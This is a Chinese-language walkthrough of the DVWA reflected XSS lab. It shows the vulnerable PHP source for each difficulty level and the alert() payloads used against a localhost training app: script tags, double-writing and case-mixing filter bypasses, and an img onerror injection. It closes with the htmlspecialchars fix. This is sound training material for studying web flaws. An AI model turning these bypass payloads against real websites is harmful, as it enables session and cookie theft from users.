DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)
目錄
Low
Medium
High
Impossible
反射型XSS:惡意腳本未經轉義被直接輸入并作為HTML輸出的一部分,惡意腳本不在后臺存儲,直接在前端瀏覽器被執行。
攻擊者可以使用XSS向惡意的用戶發送惡意腳本。終端用戶的瀏覽器沒有辦法知道腳本不應該被信任,并且將執行JavaScript。因為它認為腳本來自可信來源,惡意腳本可以訪問任何cookie、會話令牌或瀏覽器保留的其他敏感信息,并與該站點一起使用。這些腳本甚至可以重寫HTML頁面的內容。
Low
?源碼:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>可以看到,代碼直接引用了name參數,并沒有任何的過濾與檢查,存在明顯的XSS漏洞:
?輸入字符就會顯示出來,而且沒有過濾和防護,因此可以直接注入,輸入框中輸入:
<script>alert("XSS")</script>
?所構造出的xss鏈接:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E#
Medium
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>Medium級別的服務端將script標簽過濾了,? 但是他沒有不區分大寫地過濾 ,也相當于沒有過濾,可以利用很多方式過濾,比如雙寫,大小寫等方式過濾:
<scr<script>ipt>alert("XSS")</script>,<sCript>alert("XSS")</script>
?所構造出的xss鏈接:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3CsCript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E#
High
源碼:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>可以看到,High級別的代碼同樣使用黑名單過濾輸入,preg_replace()函數用于正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。但是可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼,輸入:
<img src=1 οnerrοr=alert(XSS)>
?因此構造連接:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%22XSS%22%29%3E#
Impossible
源碼:
<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>可以看到,Impossible級別的代碼使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換為HTML實體,防止瀏覽器將其作為HTML元素。
總結
以上是生活随笔為你收集整理的DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: android 仿qq相册功能,Andr
- 下一篇: 批量提权小黑服务器